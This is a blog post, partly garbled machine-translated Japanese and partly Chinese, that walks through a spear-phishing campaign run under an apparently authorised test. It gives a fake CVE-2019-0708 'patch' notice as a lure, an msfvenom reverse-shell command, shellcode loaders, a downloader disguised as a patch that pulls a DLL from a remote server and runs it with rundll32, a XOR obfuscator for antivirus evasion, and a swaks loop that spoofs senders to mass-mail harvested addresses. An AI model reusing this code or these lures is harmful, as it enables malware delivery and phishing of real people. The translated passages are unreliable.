ハープーン攻撃 - してみてください

著者:スピンを注ぎます

0x00の序文

銛が許可の場合で、彼らはまた、十分な金持ちを体験しようとしています

0x01という銛攻撃

「ハープーン攻撃」、最も一般的な方法は、添付ファイルを開くように被害者を誘惑するために、ターゲットコンピュータに送信され、非常に魅力的な名前でプレイ電子メールの添付ファイルとしてトロイの木馬ということです、そして、ハッカーの攻撃の一つでありますこれトロイの木馬感染。

起動する0x02の準備

シェルを取得することはできません長い時間、その後、いくつかの利益を得ることを望ん、銛で攻撃し始めました

このような技術のサポートを許可するかどうかを確認します:

2019-05-21-17-31-30

その後、材料を提供するために、同僚を見つけ、電子メールの署名が含まれている顧客のメール、部署名、ロゴ

0x03の生産テンプレート

2019-05-21-17-36-21

大雑把に言います:

TITLE:上海xxx关于业务网、办公网终端安全紧急加固公告

背景

2019年5月15日に北京時間は、MicrosoftがCVE番号CVE-2019から0708のWindowsリモートデスクトップサービス(RDP)、リモートでコードが実行される脆弱性を修正するセキュリティパッチをリリースし、脆弱性は、必要性の認証なしでリモートで起動することができ危険と影響は途方もないでした。

影響を受けるバージョン

  • Windows 7の
  • Windows Server 2008 R2
  • Windows Server 2008の
  • Windows Server 2003で
  • Windows XPの

脆弱性と、最後に今年の「Wannacry」恐喝ウイルスは、ビジネスネットワーク、オフィスネットワークのすべてのバグ修正を確保、科学研究省本社情報、第1の補強パッチの脆弱性の実装によって決定され、危険の同じレベルを持っています。

マウンティング

解凍パスワードを抽出し、「上海xxxRDPが.zipのパッチ」:xxx123解凍が成功した後、「RDP-VulnPatch.exe」をダブルクリックして次のことができます。

成功した修理は、「脆弱性の成功を修正する!」を促すメッセージが表示されます

上海XXX

2019年5月20日

どちらも、パスワード、共通の弱いパスワードを抽出する目標です。

0x04の生産トロイの木馬

手作りでWindows/shell/reverse_tcpMsfvenomが生成されたシェルコードを取得するには、トロイの木馬DLL。

$ /opt/metasploit-framework/bin/msfvenom -p windows/shell/reverse_tcp LHOST=xxxx LPORT=8899 -f c -e x86/shikata_ga_nai -i 20

2019-05-21-17-39-23

白を利用するためにQQのピンイン入力メソッドDLLハイジャックの脆弱性を使用する前に。

VOID shdjshjdhsjhdjshdjs() {
    
        unsigned char buff[] =
        "\xbe\x65\x43\x60\x4a\xdb\xcd\xd9\x74\x24\xf4\x58\x31\xc9\xb1"
        "\xd6\x31\....省略部分.......7\xe7\xc3\x2a\xcd\x23\xb8\x07\x0b\x04\x54\x17"
        "\xc1\x57\x63\x4c\x60\xa7\x7a\xa7\x54\xe7\xc2";

    PVOID p = NULL;
    if ((p = VirtualAlloc(NULL, sizeof(buff), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)) == NULL) {
        printf("error");
    }
        
    if (!(CopyMemory(p, buff, sizeof(buff)))) {
        printf("error");
    }
    
    CODE code = (CODE)p;
    code();
}

参考記事:HTTPS://payloads.online/archivers/2018-06-09/1

0x05のメールを収集

ライブラリの一部の到着のためのBaiduの検索で:

図は、トラブルのコードを掲示していません。

私はに偽の電子メールを送信するbashスクリプトを書きました:

for line in `cat mail`
do
    echo "$line"

    sed "s/[email protected]/${line}/g" data.eml | swaks --to $line --from [email protected] --h-From '=?UTF-8?B?xx?= <[email protected]>' --server mail.smtp2go.com -p 2525 -au USER -ap PASS --data - > /tmp/send.log
done

data.eml是转换出来的邮件正文

2019-05-21-17-42-16

该技术是可以绕过SPF及DKIM检测的。

2019-05-21-17-42-37

具体参考:https://payloads.online/archivers/2019-05-09/1

由于是反弹cmd做测试,所以不会被360拦截

2019-05-21-17-43-02

邮件效果如下:

2019-05-21-17-44-03

0x06 一点点收获

2019-05-21-17-44-37

经过确认,不是客户的机器。

0x07 第二个版本

由于之前使用的是QQ输入法签名加载器,当鼠标移动上去会显示程序描述信息,这不是我想要的结果,于是开始手撸木马….

开发环境:

  • Windows 10 x64
  • Visual Studio 2015

测试环境:

  • Windows 7 x64
  • 360卫士

0x08 木马思路

写一个下载器充当漏洞补丁程序,下载器再去服务器下载DLL模块,使用Rundll32进行加载运行。

期间涉及到窗口提示优化、程序资源信息优化、权限申请

效果如下:

2019-05-21-17-46-35

下载器代码:

// Win32Project5.cpp : 定义控制台应用程序的入口点。
//

#include "stdafx.h"
#include <Windows.h>
#include <iostream>
#include <UrlMon.h>
#pragma comment(lib, "urlmon.lib")
using namespace std;


HRESULT DownloadFile(PTCHAR URL, PTCHAR File);

static TCHAR URL[] = TEXT("http://**.**.**.**:8000/fff.jpeg");
static TCHAR SaveFile[MAX_PATH];
static TCHAR FileName[] = TEXT("\\fff.dll");
// 下载文件
HRESULT DownloadFile(PTCHAR URL, PTCHAR File) {
    HRESULT hr = URLDownloadToFile(0, URL, File, 0, NULL);
    return hr;
}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int iCmdShow)

{
    ZeroMemory(SaveFile, MAX_PATH);
    GetEnvironmentVariable(TEXT("TMP"), SaveFile, MAX_PATH);

    lstrcatW(SaveFile, FileName);
    if (DownloadFile(URL, SaveFile) != S_OK)
    {
        // wprintf(TEXT("Error: %d \n"), GetLastError());
        MessageBox(NULL, TEXT("修复漏洞失败,请检查网络,是否能够连接到微软服务器!"), TEXT("上海xxx"), MB_ICONWARNING | MB_OK);
        return 0;
    }

    lstrcatW(SaveFile, TEXT(",rundll32dllfun"));
    TCHAR opt[MAX_PATH];
    ZeroMemory(opt, MAX_PATH);
    lstrcatW(opt, TEXT(" "));
    lstrcatW(opt, SaveFile);
    PROCESS_INFORMATION pi;
    STARTUPINFO si = { sizeof(si) };
    si.cb = sizeof(si);
    si.wShowWindow = TRUE;
    CreateProcess(
        TEXT("C:\\Windows\\System32\\rundll32.exe"), 
        opt,
        NULL, 
        NULL, 
        FALSE, 
        CREATE_NEW_CONSOLE,
        NULL,
        NULL, 
        &si, 
        &pi);
    cout << GetLastError() << endl;
    MessageBox(NULL, TEXT("修复漏洞成功!"), TEXT("上海xxx"), MB_OK | MB_ICONINFORMATION);
    
    return 0;
}

fff.jpeg的代码:

// Win32Project6.cpp : 定义 DLL 应用程序的导出函数。
//

#include "stdafx.h"
#include "Win32Project6.h"

typedef void(_stdcall *CODE)();
// 这是导出变量的一个示例
WIN32PROJECT6_API int nWin32Project6=0;


extern "C" _declspec(dllexport) void __cdecl rundll32dllfun(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine,int nCmdShow)
{
    unsigned char buf[] =
        "\xbf\xaa\x57\x39\xb0\xda\xdd\xd9\x74\x24\xf4\x58\x29\xc9\xb1"
        "\xd6\x83\xe8\xfc\x31\x78\x10\x03\x78\x10\x48\xa2\x81\x35\xa2"
        "\x82\x9c\xef\x7f\xc5\x15\x34\x8b\xad\xe6\xfd\xc2\x9d\x38\xbd"
        "\x31\x21\x78\x54\xba\xce\x82\xb4\xcc\xe5\x68\x8e\x22\x28\xd7"
        "\x06\x8c\x96\x0a\x7b\xed\x44\xf0\x94\x65\x0e\xa4\x3b\x2e\xcb"
        "\xe7\x17\x60\xaf\x1d\xa4\x57\x1f\xb1\xf3\x01\x31\x5c\x6a\x97"
        "\xf...省略...";
    PVOID p = NULL;
    p = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (p != NULL)
    {
        memcpy(p, buf, sizeof(buf));
        CODE code = (CODE)p;
        code();
    }
    return;
}

其中extern "C" _declspec(dllexport) void __cdecl rundll32dllfun是符合rundll32加载的固定函数定义格式。

当木马运行后,会在进程列表创建rundll32.exe,它是一个系统文件。

UAC

为了使木马获取更高的权限,我开启了管理员权限申请:

2019-05-21-17-48-31

点击是:

2019-05-21-17-49-27

提示修复成功,然后程序关闭。

同时,本地机器上会生成一个dll文件:

2019-05-21-17-49-46

2019-05-21-17-50-20

进程中也会多出一个rundll32,360不会拦截:

2019-05-21-17-50-39

服务端提供下载的服务器会多出日志:

2019-05-21-17-50-55

2019-05-21-17-51-09

0x09 发送邮件

邮箱地址通过http://www.skymem.info 采集到200多个,同时也写了一个脚本:

2019-05-21-17-52-52

估计要跑一晚上了,明天看收获吧,如果有的话,继续写。

0x10 升级木马

第一版是一个败笔,应该关注更多视觉感受,比如图标、logo,暗示它这个文件是可信的,不应该使用其他程序用作加载器,来达到免杀的效果。如果第二版的木马当作第一版去发,我觉得成功率80%。

但是我觉得光采用反弹cmd的太烂了,木马要像模像样点。

于是,开始对木马进行改造,下载器文件不变,只需要更新服务器上的fff.jpeg这个DLL即可,因为每次运行,都会下载这个DLL,然后用rundll32调用。

我想使得它上线cobaltstrike,绕过Windows Defender基本上没啥问题了,既保证之前的邮件木马可用,又能保证新的代码更新。

重写rundll32dllfun即可:

fff.jpeg:

extern "C" _declspec(dllexport) void __cdecl rundll32dllfun(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine,
    int nCmdShow)
{
    CHAR cpu_code[] =
        "\xf5\xe1\x80\x09\x09\x09\x69\x80\xec\x38\xdb\x6d\x82\x5b\x39\x82\x5b\x05\x82\x5b\x1d\x82\x7b\x21...省略部分....\x3e\x38\x27\x38\x30\x27\x38\x3d\x3d\x27\x3f\x30\x09\x09\x09\x09\x09";
    DWORD dwCodeLength = sizeof(cpu_code);
    DWORD dwOldProtect = NULL;
    for (DWORD i = 0; i < dwCodeLength; i++) {
        cpu_code[i] ^= 9;
    }

    PVOID pCodeSpace = VirtualAlloc(NULL, dwCodeLength, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    if (pCodeSpace != NULL)
    {
        CopyMemory(pCodeSpace, cpu_code, dwCodeLength);
        Sleep(200);
        VirtualProtect(pCodeSpace, dwCodeLength, PAGE_EXECUTE, &dwOldProtect);
        CODE coder = (CODE)pCodeSpace;
        HANDLE hThread = CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)coder, NULL, 0, NULL);
        WaitForSingleObject(hThread, INFINITE);
    }

    return;
}

这里采用了异或解码shellcode、虚拟内存页属性调整、创建线程的方式执行shellcode,绕过90%的杀软..

创建线程的好处就是,可以调用WaitForSingleObject来使得shellcode执行完毕进程才退出。

好几次调试的时候,进程执行完毕了shellcode还没运行,使用WaitForSingleObject就解决了这个问题~

为此为还写了一个异或脚本:

import sys
from argparse import ArgumentParser, FileType

def process_bin(num, src_fp, dst_fp):
    shellcode = ''
    shellcode_size = 0
    try:
        while True:
            code = src_fp.read(1)
            if code == '':
                break
            base10 = ord(code) ^ num
            code_hex = hex(base10)
            code_hex = code_hex.replace('0x','')
            if(len(code_hex) == 1):
                code_hex = '0' + code_hex
            shellcode += '\\x' + code_hex
            shellcode_size += 1
        src_fp.close()
        dst_fp.write(shellcode)
        dst_fp.close()
        return shellcode_size
    except Exception as e:
        sys.stderr.writelines(str(e))

def main():
    parser = ArgumentParser(prog='Shellcode X', description='[XOR The Cobaltstrike PAYLOAD.BINs] \t > Author: [email protected]')
    parser.add_argument('-v','--version',nargs='?')
    parser.add_argument('-s','--src',help=u'source bin file',type=FileType('rb'), required=True)
    parser.add_argument('-d','--dst',help=u'destination shellcode file',type=FileType('w+'),required=True)
    parser.add_argument('-n','--num',help=u'Confused number',type=int, default=90)
    args = parser.parse_args()
    shellcode_size = process_bin(args.num, args.src, args.dst)
    sys.stdout.writelines("[+]Shellcode Size : {} \n".format(shellcode_size))

if __name__ == "__main__":
    main()

生成一个payload.bin:

2019-05-21-17-58-59

选择raw:

2019-05-21-17-59-16

使用效果:

2019-05-21-17-59-41

把生成的文件shellcode直接可以放入源代码进行编译。

2/70的战绩:

https://www.virustotal.com/#/file/576281eabe371ce01e3e23048652e878022144eca9696bf1dbf7741bd6e30c86/detection

2019-05-21-18-00-52

微步在线:

https://s.threatbook.cn/report/file/576281eabe371ce01e3e23048652e878022144eca9696bf1dbf7741bd6e30c86/?env=win7_sp1_enx64_office2013

0/25的战绩,一个都未杀出:

2019-05-21-18-12-36

更新了fff.jpeg后,我只需要在cobaltstrike上等待新上线的机器即可。。。

只要不停的发。。

0x11 Cobaltstrike Spear Phish

Cobaltstrike已经具备了伪造邮件的功能,不用再记忆swaks命令了。

参考:https://cobaltstrike.com/help-spear-phish

2019-05-22-13-04-51

为了使得smtp2go绕过spf检查,所以在Bunce to填写[email protected]

2019-05-22-13-09-16

2019-05-22-13-06-37

这两天我的样本被沙箱疯狂分析:

2019-05-22-13-07-15

しかし、これは正常です...

0x12を要約

実際には、釣り:

  • より多くの情報を収集
  • アクセサリーリガ関連するいくつかのより客観的な情報は、心理的な防衛を減らします
  • そして、より多くの共感は何それをすべて理解します
  • いくつかのより多くの心理的な意味合いのもの(トロイの木馬アイコン、プログラムの説明、UAC?)
  • 広東スタイルの缶ネット
  • トロイの木馬は、信頼できるものでなければなりません
  • ホワイト権威を維持するためにのみ適して使用するようです

だから、多くのオンライン詐欺師、詐欺防止と教育は、なぜいつも誰かフック、100人は、その後、常に10000があるでしょうしません。

UACの追加の属性は、一部のユーザーが安全であることを考えることに、アプリケーションの上にシールドを持っています。

2019-05-21-18-08-07

おすすめ

転載: www.cnblogs.com/wizardforcel/p/10958218.html
おすすめ